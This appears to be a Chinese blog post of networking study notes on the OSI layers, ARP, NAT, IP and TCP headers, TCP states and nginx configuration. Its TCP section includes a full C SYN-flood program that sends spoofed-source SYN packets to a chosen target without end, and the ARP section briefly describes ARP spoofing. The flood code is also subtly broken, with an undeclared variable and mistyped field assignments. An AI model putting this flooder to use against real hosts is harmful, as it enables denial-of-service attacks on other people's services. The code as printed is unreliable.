vitavae 2019-06-28
OSI简介
OSI全称是开放式系统互联通信参考模型,是一种计算机在世界范围内互联的标准框架。
物理层
物理层的媒体包括线缆,交换机,路由器,网卡等.物理层要形成适合数据传输需要的实体,为数据传送服务。一是要保证数据能在其上正确通过,二是要提供足够的带宽(带宽是指每秒钟内能通过的比特(BIT)数),以减少信道上的拥塞。传输数据的方式能满足点到点,一点到多点,串行或并行,半双工或全双工,同步或异步传输的需要。
二.数据链路层
在局域网中,设备是根据网卡的mac地址来交换数据的,当一台设备想让找到某个ip对应的mac地址时,就需要用到arp协议,arp帧格式如下:
协议类型:
·Type:长度为2 bytes,表示帧类型,802.1Q tag帧中Type字段取固定值0x8100,如果不支持802.1Q的设备收到802.1Q帧,则将其丢弃。
·PRI:priority字段,长度为3 bit,表示 以太网帧的优先级,取值范围是0~7,数值越大,优先级越高。当交换机/路由器发生传输拥塞时,优先发送优先级高的数据帧。
·CFI:Canonical Format Indicator,长度为1bit,表示MAC地址是否是经典格式。CFI为0说明是经典格式,CFI为1表示为非经典格式。该字段用于区分以太网帧、FDDI帧和令牌环网帧,在以太网帧中,CFI取值为0
·VID:VLAN ID,长度为12 bit,取值范围是0~4095,其中0和4095是保留值,不能给用户使用。
Op:操作码,1为ARP请求,2为ARP回显,3为RARP请求,4为RARP
应答。
目的MAC为0xffffff的广播帧。
Keepalived等工具都是在arp协议基础上完成的,它可以提供负载均衡,横向扩展和主从切换等功能。多个机器通过配置对外提供一个vip,当有其他机器广播寻找vip所对应的mac地址时,工具会根据所配置的规则会提供一个mac地址,对方收到回应会把mac地址保存到arp缓存中,接下来一段时间都会使用这个mac地址通讯,当这个mac地址没有回应时会再次广播,而keepalived也会因为心跳检测失败而回应另一个mac地址。
Arp攻击:
在局域网内发送大量的伪造的arp回应包,当有广播包询问目的主机时,询问的主机会立刻收到这个回应的arp报文,从而刷新自己的arp缓存表,将数据送到攻击者的地址。(arpspoof)
源NAT和目的NAT
基于源IP地址的NAT是指对发起连接的IP报文头中的源地址进行转换。它可以实现内部用户访问外部网络的目的。通过将内部主机的私有地址转换为公有地址,使一个局域网中的多台主机使用少数的合法地址访问外部资源。
基于目的IP地址的NAT是指对IP报文头中的目的地址进行转换。通常用于隐藏一个对外提供服务的网络设备的真实IP地址,使客户端可以通过访问一个公网地址来访问这些服务器。
网络层、传输层
网络层的产生也是网络发展的结果,当数据终端增多时,它们之间有中继设备相连.此时会出现一台终端要求不只是与唯一的一台而是能和多台终端通信的情况,这就是产生了把任意两台数据终端设备的数据链接起来的问题,也就是路由或者叫寻径。网络层主要提供路由选择、差错检测等。
传输层主要是为应用提供一个端到端的服务。具备差错检测,多路复用等功能。
IP包结构:
版本:4bit的版本字段表示IP的版本号。如果为0100表示IPv4,如果为0110表示IPv6
首部长度:IP包头的长度
区分服务:8bit的服务器类型(TOS)字段,其中前3个bit表示优先权(现在已经忽略该字段),随后的4个bit表示服务类型,按顺序分别表示为最小时延、最大吞吐量、最高可靠性、最小费用四种。这个4个bit中最多只能有1个bit置位,如果全是0则表示一般服务。最有1个bit为未用位,必须置0。
总长度:整个ip数据报的长度
标识:16bit的标识字段唯一的标识主机发送的每一份数据报,由主机生成具有唯一性。通常每发送一份报文该值加1。该值在数据包分片时,会复制到每一个片中。所以在重组分片包的时候会观察该值,把该值相同的分片收集到一起重组。
片偏移:数据分片的时候报文和第一个报文的偏移量。
生存时间:表示改数据包可经过的最大路由数量,最大为255,一般为64.
首部校验和:16bit的首部校验和字段用来使接收端检验收到的报文是否正确。该字段只对IP首部计算校验和不包含后面的数据字段。原因是IP的上层协议比如ICMP、IGMP、TCP、UDP协议的各自首部中均含有同时覆盖首部和数据的校验和。
TCP包结构:
序号:tcp发送的数据编号
确认号:TCP告诉接受者希望他下次接到数据包的第一个字节的序号
URG:为1时表明紧急数据
ACK:ACK=1时确认号字段才有效
RST: 当RST=1时,表明TCP连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接
SYN:同步比特SYN置为1,就表示这是一个连接请求或连接接受报文
FIN:当FIN=1时,表明此报文段的发送端的数据已发送完毕,并要求释放运输连接。
UDP包结构:
TCP/IP的问题
SYN Flood这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。建立TCP连接,需要三次握手——客户端发送SYN报文,服务端收到请求并返回报文表示接受,客户端也返回确认,完成连接。SYN Flood 就是用户向服务器发送报文后突然死机或掉线,那么服务器在发出应答报文后就无法收到客户端的确认报文(第三次握手无法完成),这时服务器端一般会重试并等待一段时间后再丢弃这个未完成的连接。一个用户出现异常导致服务器的一个线程等待一会儿并不是大问题,但恶意攻击者大量模拟这种情况,服务器端为了维护数以万计的半连接而消耗非常多的资源,结果往往是无暇理睬客户的正常请求,甚至崩溃。从正常客户的角度看来,网站失去了响应,无法访问
#include <stdlib.h> #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/ip.h> #include <linux/tcp.h> #include <arpa/inet.h> struct pstcphdr { __be32 saddr; __be32 daddr; __be16 proto; __be16 tcplen; }; struct tcpoptions { __be32 mss; __be16 nop2; __be16 sack; __be32 scale; }; unsigned short check_sum(unsigned short *addr,int len); //计算校验和 int main(int argc, char *argv[]) { if( argc == 1 ) { printf("这是一个syn测试工具,命令格式./synflood ip port \n"); exit(0); } else if( argc > 3 ) { printf("参数输入太多啦,请不带参数查看输入格式!\n"); exit(0); } else if( argc < 3 ) { printf("参数输入太少啦,请不带参数查看输入格式!\n"); exit(0); } const int on=1; srand(clock()); /*struct sockaddr_in srcaddress;*/ struct sockaddr_in dstaddress; struct pstcphdr *pstcphdr1; struct iphdr *iphead; //创建ip头部 struct tcphdr *tcp; //创建tcp头部 struct tcpoptions *tcpopt; dstaddress.sin_family=AF_INET; dstaddress.sin_port=htons(atoi(argv[2])); dstaddress.sin_addr.s_addr = inet_addr(argv[1]); int sk=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); //创建套接字 setsockopt(sk,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); //设置套接字属性 char buf[128]={0}; int ip_len; ip_len = sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt); iphead=(struct iphdr*)buf; tcp=(struct tcphdr *)(buf+sizeof(*iphead)); tcpopt=(struct tcpoptions*)(buf+sizeof(*iphead)+sizeof(*tcp)); iphead->version= 4; //构建IP包头 iphead->ihl=sizeof(*iphead)/4; iphead->tos=0; iphead->tot_len=htons(ip_len); iphead->id=0; iphead->frag_off=0; iphead->protocol=6; iphead->check=0; inet_aton(argv[1],&iphead->daddr); int tcplen=sizeof(*tcp)+sizeof(*tcpopt); tcp->dest=htons(atoi(argv[2])); //构建TCP包头 tcp->doff=tcplen/4; tcp->syn=1; tcp->check=0; tcp->window=htons(8196); tcpopt->mss=htonl(0x020405b4); tcpopt->nop2=htons(0x0101); tcpopt->sack=htons(0x0402); tcpopt->scale=htonl(0x01030309); pstcphdr1=(struct pstcphdr*)(buf+sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt)); pstcphdr1->daddr=&iphead->daddr; pstcphdr1->proto=htons(6); pstcphdr1->tcplen=htons(sizeof(*tcp)); while (1) { tcp->seq=rand(); iphead->ttl=random()%98+30; iphead->saddr=htonl((rand()%3758096383)); pstcphdr1->saddr=&iphead->saddr; tcp->source=htons(rand()%65535); tcp->check=check_sum((unsigned short*)tcp,sizeof(*tcp)+sizeof(*tcpopt)+sizeof(*pstcphdr1)); sendto(sk,buf,ip_len,0,&dstaddress,sizeof(struct sockaddr_in)); } } unsigned short check_sum(unsigned short *addr,int len){ register int nleft=len; register int sum=0; register short *w=addr; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); return ~sum; }
会话层,表示层,应用层
会话层和表示层一般都和应用层一起实现,应用层是由广泛意义的。这层既可以实现会话ID,也可以实现文件传输。OSI之所以把这层分成三层是为了让应用程序重用更多的代码。
Linux中的网络状态
LISTEN:侦听来自远方的TCP端口的连接请求
SYN_SENT:在发送连接请求后等待匹配的连接请求,已经发送了syn,但还没有等到对方发送的的ack包
SYN_RECEIVED:确认对方的syn包,并发送一个syn包等待对方对连接请求的确认
ESTABLISHED:客户端确认syn,进入established状态
FIN_WAIT_1:已经发送fin包,等待远程TCP连接中断请求,或先前的连接中断请求的确认
FIN_WAIT_2:获得从远程TCP等待连接中断请求
CLOSE_WAIT:等待从本地用户发来的连接中断请求
CLOSING:等待远程TCP对连接中断的确认
LAST_ACK:等待原来的发向远程TCP的连接中断请求的确认
TIME_WAIT:等待足够的时间以确保远程TCP接收到连接中断请求的确认
CLOSED:没有任何连接状态
应用
1.Nginx是一个HTTP服务器,可以将服务器上的静态文件(如HTML、图片)通过HTTP协议展现给客户端。2. 客户端本来可以直接通过HTTP协议访问某网站应用服务器,如果网站管理员在中间加上一个Nginx,客户端请求Nginx,Nginx请求应用服务器,然后将结果返回给客户端,此时Nginx就是反向代理服务器。3. 当网站访问量非常大,因为网站越来越慢,一台服务器已经不够用了。于是将相同的应用部署在多台服务器上,将大量用户的请求分配给多台机器处理。同时带来的好处是,其中一台服务器万一挂了,只要还有其他服务器正常运行,就不会影响用户使用。4.当需要多个ip访问一个主机的时候,可配置虚拟主机。5.限制IP的请求频率,限制下载速度等。
Nginx的目录结构
.conf - 配置文件目录
.confnginx.conf - 主配置文件
.html - 默认网站文件位置
.log - 默认日志文件位置
Nginx.conf配置:
user nobody nobody; 运行用户
worker_processes 2; 工作进程
error_log /usr/local/var/log/nginx/error.log notice;
pid /usr/local/var/run/nginx/nginx.pid;
worker_rlimit_nofile 1024; 一个nginx进程打开的最多文件描述符数目
events {
use kqueue; #mac平台
epoll Linux平台
worker_connections 1024;
}
http {
....
upstream myproject {
..... weigth;
Iphash;
} 设定http服务器,利用它的反向代理功能提供负载均衡支持
server {
.... location { .... }
}虚拟主机配置
stream {
server { listen 3306; proxy_pass db; } upstream db { server db1:3306; server db2:3306; server db3:3306; }
}四层代理